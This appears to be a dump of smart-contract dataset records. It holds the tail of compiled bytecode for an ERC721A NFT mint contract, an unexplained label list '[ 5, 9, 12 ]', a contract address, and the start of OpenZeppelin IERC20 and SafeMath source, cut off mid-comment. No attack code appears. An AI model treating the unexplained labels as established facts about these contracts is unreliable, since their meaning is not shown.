1165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90613b01565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b6111e5611c3d565b73ffffffffffffffffffffffffffffffffffffffff16611203611400565b73ffffffffffffffffffffffffffffffffffffffff1614611259576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611250906139dd565b60405180910390fd5b61126360006124b3565b565b600860149054906101000a900460ff1681565b611280611c3d565b73ffffffffffffffffffffffffffffffffffffffff1661129e611400565b73ffffffffffffffffffffffffffffffffffffffff16146112f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112eb906139dd565b60405180910390fd5b600860149054906101000a900460ff1615600860146101000a81548160ff021916908315150217905550565b611328611c3d565b73ffffffffffffffffffffffffffffffffffffffff16611346611400565b73ffffffffffffffffffffffffffffffffffffffff161461139c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611393906139dd565b60405180910390fd5b61115c816113a8610caf565b6113b29190613b21565b11156113f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ea90613bc3565b60405180910390fd5b6113fd3382612579565b50565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611432611c3d565b73ffffffffffffffffffffffffffffffffffffffff16611450611400565b73ffffffffffffffffffffffffffffffffffffffff16146114a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149d906139dd565b60405180910390fd5b8060098190555050565b6060600280546114bf906135d9565b80601f01602080910402602001604051908101604052809291908181526020018280546114eb906135d9565b80156115385780601f1061150d57610100808354040283529160200191611538565b820191906000526020600020905b81548152906001019060200180831161151b57829003601f168201915b5050505050905090565b60008111611585576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157c90613c2f565b60405180910390fd5b600860149054906101000a900460ff166115d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cb90613c9b565b60405180910390fd5b61115c816115e0610caf565b6115ea9190613b21565b111561162b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162290613bc3565b60405180910390fd5b348160095461163a9190613cbb565b111561167b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167290613d61565b60405180910390fd5b6116853382612579565b50565b611690611c3d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f590613dcd565b60405180910390fd5b806006600061170b611c3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166117b8611c3d565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516117fd9190612fb1565b60405180910390a35050565b611814848484611cf7565b61182084848484612597565b61185f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185690613e5f565b60405180910390fd5b50505050565b606061187082611c30565b6118af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a690613ef1565b60405180910390fd5b60006118b961271f565b905060008151116118d95760405180602001604052806000815250611904565b806118e3846127b1565b6040516020016118f4929190613f4d565b6040516020818303038152906040525b915050919050565b61115c81565b60075481565b600c5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6119ba611c3d565b73ffffffffffffffffffffffffffffffffffffffff166119d8611400565b73ffffffffffffffffffffffffffffffffffffffff1614611a2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a25906139dd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9590613fe3565b60405180910390fd5b611aa7816124b3565b50565b611ab2611c3d565b73ffffffffffffffffffffffffffffffffffffffff16611ad0611400565b73ffffffffffffffffffffffffffffffffffffffff1614611b26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1d906139dd565b60405180910390fd5b80600c8190555050565b611b38611c3d565b73ffffffffffffffffffffffffffffffffffffffff16611b56611400565b73ffffffffffffffffffffffffffffffffffffffff1614611bac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba3906139dd565b60405180910390fd5b80600b9080519060200190611bc2929190612e20565b5050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6000805482109050919050565b600033905090565b826005600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b6000611d02826122b0565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff16611d29611c3d565b73ffffffffffffffffffffffffffffffffffffffff161480611d855750611d4e611c3d565b73ffffffffffffffffffffffffffffffffffffffff16611d6d846109f5565b73ffffffffffffffffffffffffffffffffffffffff16145b80611da15750611da08260000151611d9b611c3d565b61191e565b5b905080611de3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dda90614075565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff1614611e55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4c90614107565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611ec5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ebc90614199565b60405180910390fd5b611ed28585856001612912565b611ee26000848460000151611c45565b6001600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff16611f5091906141d5565b92506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506001600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff16611ff49190614209565b92506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060405180604001604052808573ffffffffffffffffffffffffffffffffffffffff1681526020014267ffffffffffffffff168152506003600085815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555090505060006001846120fa9190613b21565b9050600073ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156122405761217081611c30565b1561223f576040518060400160405280846000015173ffffffffffffffffffffffffffffffffffffffff168152602001846020015167ffffffffffffffff168152506003600083815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055509050505b5b838573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46122a88686866001612918565b505050505050565b6122b8612ea6565b6122c182611c30565b612300576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122f7906142c1565b60405180910390fd5b60007f000000000000000000000000000000000000000000000000000000000000003283106123645760017f00000000000000000000000000000000000000000000000000000000000000328461235791906137f0565b6123619190613b21565b90505b60008390505b818110612472576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff161461245e578093505050506124ae565b50808061246a906142e1565b91505061236a565b506040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a59061437d565b60405180910390fd5b919050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61259382826040518060200160405280600081525061291e565b5050565b60006125b88473ffffffffffffffffffffffffffffffffffffffff16612dfd565b15612712578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026125e1611c3d565b8786866040518563ffffffff1660e01b815260040161260394939291906143f2565b6020604051808303816000875af192505050801561263f57506040513d601f19601f8201168201806040525081019061263c9190614453565b60015b6126c2573d806000811461266f576040519150601f19603f3d011682016040523d82523d6000602084013e612674565b606091505b506000815114156126ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b190613e5f565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612717565b600190505b949350505050565b6060600a805461272e906135d9565b80601f016020809104026020016040519081016040528092919081815260200182805461275a906135d9565b80156127a75780601f1061277c576101008083540402835291602001916127a7565b820191906000526020600020905b81548152906001019060200180831161278a57829003601f168201915b5050505050905090565b606060008214156127f9576040518060400160405280600181526020017f3000000000000000000000000000000000000000000000000000000000000000815250905061290d565b600082905060005b6000821461282b578080612814906138b6565b915050600a8261282491906144af565b9150612801565b60008167ffffffffffffffff81111561284757612846613239565b5b6040519080825280601f01601f1916602001820160405280156128795781602001600182028036833780820191505090505b5090505b600085146129065760018261289291906137f0565b9150600a856128a191906144e0565b60306128ad9190613b21565b60f81b8183815181106128c3576128c2614511565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856128ff91906144af565b945061287d565b8093505050505b919050565b50505050565b50505050565b600080549050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161298b906145b2565b60405180910390fd5b61299d81611c30565b156129dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129d49061461e565b60405180910390fd5b7f0000000000000000000000000000000000000000000000000000000000000032831115612a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a37906146b0565b60405180910390fd5b612a4d6000858386612912565b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020016000820160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff168152505090506040518060400160405280858360000151612b4a9190614209565b6fffffffffffffffffffffffffffffffff168152602001858360200151612b719190614209565b6fffffffffffffffffffffffffffffffff16815250600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555090505060405180604001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020014267ffffffffffffffff168152506003600084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550905050600082905060005b85811015612de057818773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4612d806000888488612597565b612dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612db690613e5f565b60405180910390fd5b8180612dca906138b6565b9250508080612dd8906138b6565b915050612d0f565b5080600081905550612df56000878588612918565b505050505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b828054612e2c906135d9565b90600052602060002090601f016020900481019282612e4e5760008555612e95565b82601f10612e6757805160ff1916838001178555612e95565b82800160010185558215612e95579182015b82811115612e94578251825591602001919060010190612e79565b5b509050612ea29190612ee0565b5090565b6040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff1681525090565b5b80821115612ef9576000816000905550600101612ee1565b5090565b6000604051905090565b600080fd5b600080fd5b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b612f4681612f11565b8114612f5157600080fd5b50565b600081359050612f6381612f3d565b92915050565b600060208284031215612f7f57612f7e612f07565b5b6000612f8d84828501612f54565b91505092915050565b60008115159050919050565b612fab81612f96565b82525050565b6000602082019050612fc66000830184612fa2565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613006578082015181840152602081019050612feb565b83811115613015576000848401525b50505050565b6000601f19601f8301169050919050565b600061303782612fcc565b6130418185612fd7565b9350613051818560208601612fe8565b61305a8161301b565b840191505092915050565b6000602082019050818103600083015261307f818461302c565b905092915050565b6000819050919050565b61309a81613087565b81146130a557600080fd5b50565b6000813590506130b781613091565b92915050565b6000602082840312156130d3576130d2612f07565b5b60006130e1848285016130a8565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613115826130ea565b9050919050565b6131258161310a565b82525050565b6000602082019050613140600083018461311c565b92915050565b61314f8161310a565b811461315a57600080fd5b50565b60008135905061316c81613146565b92915050565b6000806040838503121561318957613188612f07565b5b60006131978582860161315d565b92505060206131a8858286016130a8565b9150509250929050565b6131bb81613087565b82525050565b60006020820190506131d660008301846131b2565b92915050565b6000806000606084860312156131f5576131f4612f07565b5b60006132038682870161315d565b93505060206132148682870161315d565b9250506040613225868287016130a8565b9150509250925092565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6132718261301b565b810181811067ffffffffffffffff821117156132905761328f613239565b5b80604052505050565b60006132a3612efd565b90506132af8282613268565b919050565b600067ffffffffffffffff8211156132cf576132ce613239565b5b6132d88261301b565b9050602081019050919050565b82818337600083830152505050565b6000613307613302846132b4565b613299565b90508281526020810184848401111561332357613322613234565b5b61332e8482856132e5565b509392505050565b600082601f83011261334b5761334a61322f565b5b813561335b8482602086016132f4565b91505092915050565b60006020828403121561337a57613379612f07565b5b600082013567ffffffffffffffff81111561339857613397612f0c565b5b6133a484828501613336565b91505092915050565b6000602082840312156133c3576133c2612f07565b5b60006133d18482850161315d565b91505092915050565b6133e381612f96565b81146133ee57600080fd5b50565b600081359050613400816133da565b92915050565b6000806040838503121561341d5761341c612f07565b5b600061342b8582860161315d565b925050602061343c858286016133f1565b9150509250929050565b600067ffffffffffffffff82111561346157613460613239565b5b61346a8261301b565b9050602081019050919050565b600061348a61348584613446565b613299565b9050828152602081018484840111156134a6576134a5613234565b5b6134b18482856132e5565b509392505050565b600082601f8301126134ce576134cd61322f565b5b81356134de848260208601613477565b91505092915050565b6000806000806080858703121561350157613500612f07565b5b600061350f8782880161315d565b94505060206135208782880161315d565b9350506040613531878288016130a8565b925050606085013567ffffffffffffffff81111561355257613551612f0c565b5b61355e878288016134b9565b91505092959194509250565b6000806040838503121561358157613580612f07565b5b600061358f8582860161315d565b92505060206135a08582860161315d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806135f157607f821691505b60208210811415613605576136046135aa565b5b50919050565b7f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560008201527f78697374656e7420746f6b656e00000000000000000000000000000000000000602082015250565b6000613667602d83612fd7565b91506136728261360b565b604082019050919050565b600060208201905081810360008301526136968161365a565b9050919050565b7f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60008201527f6572000000000000000000000000000000000000000000000000000000000000602082015250565b60006136f9602283612fd7565b91506137048261369d565b604082019050919050565b60006020820190508181036000830152613728816136ec565b9050919050565b7f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f76656420666f7220616c6c00000000000000602082015250565b600061378b603983612fd7565b91506137968261372f565b604082019050919050565b600060208201905081810360008301526137ba8161377e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006137fb82613087565b915061380683613087565b925082821015613819576138186137c1565b5b828203905092915050565b7f455243373231413a206f776e657220696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b6000613880602283612fd7565b915061388b82613824565b604082019050919050565b600060208201905081810360008301526138af81613873565b9050919050565b60006138c182613087565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138f4576138f36137c1565b5b600182019050919050565b7f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060008201527f6f776e657220627920696e646578000000000000000000000000000000000000602082015250565b600061395b602e83612fd7565b9150613966826138ff565b604082019050919050565b6000602082019050818103600083015261398a8161394e565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006139c7602083612fd7565b91506139d282613991565b602082019050919050565b600060208201905081810360008301526139f6816139ba565b9050919050565b7f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f7560008201527f6e64730000000000000000000000000000000000000000000000000000000000602082015250565b6000613a59602383612fd7565b9150613a64826139fd565b604082019050919050565b60006020820190508181036000830152613a8881613a4c565b9050919050565b7f455243373231413a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b6000613aeb602b83612fd7565b9150613af682613a8f565b604082019050919050565b60006020820190508181036000830152613b1a81613ade565b9050919050565b6000613b2c82613087565b9150613b3783613087565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613b6c57613b6b6137c1565b5b828201905092915050565b7f457863656564206d617820737570706c79000000000000000000000000000000600082015250565b6000613bad601183612fd7565b9150613bb882613b77565b602082019050919050565b60006020820190508181036000830152613bdc81613ba0565b9050919050565b7f4d757374206d696e74203120746f6b656e206f72206d6f726500000000000000600082015250565b6000613c19601983612fd7565b9150613c2482613be3565b602082019050919050565b60006020820190508181036000830152613c4881613c0c565b9050919050565b7f53616c652069736e277420616374697665000000000000000000000000000000600082015250565b6000613c85601183612fd7565b9150613c9082613c4f565b602082019050919050565b60006020820190508181036000830152613cb481613c78565b9050919050565b6000613cc682613087565b9150613cd183613087565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613d0a57613d096137c1565b5b828202905092915050565b7f496e73756666696369656e742066756e647320746f20636c61696d2e00000000600082015250565b6000613d4b601c83612fd7565b9150613d5682613d15565b602082019050919050565b60006020820190508181036000830152613d7a81613d3e565b9050919050565b7f455243373231413a20617070726f766520746f2063616c6c6572000000000000600082015250565b6000613db7601a83612fd7565b9150613dc282613d81565b602082019050919050565b60006020820190508181036000830152613de681613daa565b9050919050565b7f455243373231413a207472616e7366657220746f206e6f6e204552433732315260008201527f6563656976657220696d706c656d656e74657200000000000000000000000000602082015250565b6000613e49603383612fd7565b9150613e5482613ded565b604082019050919050565b60006020820190508181036000830152613e7881613e3c565b9050919050565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b6000613edb602f83612fd7565b9150613ee682613e7f565b604082019050919050565b60006020820190508181036000830152613f0a81613ece565b9050919050565b600081905092915050565b6000613f2782612fcc565b613f318185613f11565b9350613f41818560208601612fe8565b80840191505092915050565b6000613f598285613f1c565b9150613f658284613f1c565b91508190509392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613fcd602683612fd7565b9150613fd882613f71565b604082019050919050565b60006020820190508181036000830152613ffc81613fc0565b9050919050565b7f455243373231413a207472616e736665722063616c6c6572206973206e6f742060008201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000602082015250565b600061405f603283612fd7565b915061406a82614003565b604082019050919050565b6000602082019050818103600083015261408e81614052565b9050919050565b7f455243373231413a207472616e736665722066726f6d20696e636f727265637460008201527f206f776e65720000000000000000000000000000000000000000000000000000602082015250565b60006140f1602683612fd7565b91506140fc82614095565b604082019050919050565b60006020820190508181036000830152614120816140e4565b9050919050565b7f455243373231413a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614183602583612fd7565b915061418e82614127565b604082019050919050565b600060208201905081810360008301526141b281614176565b9050919050565b60006fffffffffffffffffffffffffffffffff82169050919050565b60006141e0826141b9565b91506141eb836141b9565b9250828210156141fe576141fd6137c1565b5b828203905092915050565b6000614214826141b9565b915061421f836141b9565b9250826fffffffffffffffffffffffffffffffff03821115614244576142436137c1565b5b828201905092915050565b7f455243373231413a206f776e657220717565727920666f72206e6f6e6578697360008201527f74656e7420746f6b656e00000000000000000000000000000000000000000000602082015250565b60006142ab602a83612fd7565b91506142b68261424f565b604082019050919050565b600060208201905081810360008301526142da8161429e565b9050919050565b60006142ec82613087565b91506000821415614300576142ff6137c1565b5b600182039050919050565b7f455243373231413a20756e61626c6520746f2064657465726d696e652074686560008201527f206f776e6572206f6620746f6b656e0000000000000000000000000000000000602082015250565b6000614367602f83612fd7565b91506143728261430b565b604082019050919050565b600060208201905081810360008301526143968161435a565b9050919050565b600081519050919050565b600082825260208201905092915050565b60006143c48261439d565b6143ce81856143a8565b93506143de818560208601612fe8565b6143e78161301b565b840191505092915050565b6000608082019050614407600083018761311c565b614414602083018661311c565b61442160408301856131b2565b818103606083015261443381846143b9565b905095945050505050565b60008151905061444d81612f3d565b92915050565b60006020828403121561446957614468612f07565b5b60006144778482850161443e565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006144ba82613087565b91506144c583613087565b9250826144d5576144d4614480565b5b828204905092915050565b60006144eb82613087565b91506144f683613087565b92508261450657614505614480565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f455243373231413a206d696e7420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600061459c602183612fd7565b91506145a782614540565b604082019050919050565b600060208201905081810360008301526145cb8161458f565b9050919050565b7f455243373231413a20746f6b656e20616c7265616479206d696e746564000000600082015250565b6000614608601d83612fd7565b9150614613826145d2565b602082019050919050565b60006020820190508181036000830152614637816145fb565b9050919050565b7f455243373231413a207175616e7469747920746f206d696e7420746f6f20686960008201527f6768000000000000000000000000000000000000000000000000000000000000602082015250565b600061469a602283612fd7565b91506146a58261463e565b604082019050919050565b600060208201905081810360008301526146c98161468d565b905091905056fea2646970667358221220dc164f02740ed5c49f96b100bdd2b424d861455db897ab9e8d57252480d92fd464736f6c634300080a0033
[ 5, 9, 12 ]
0xF2F8984A5E5ff35c8b52a40b642E1eCfAeCf3Ba7
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * 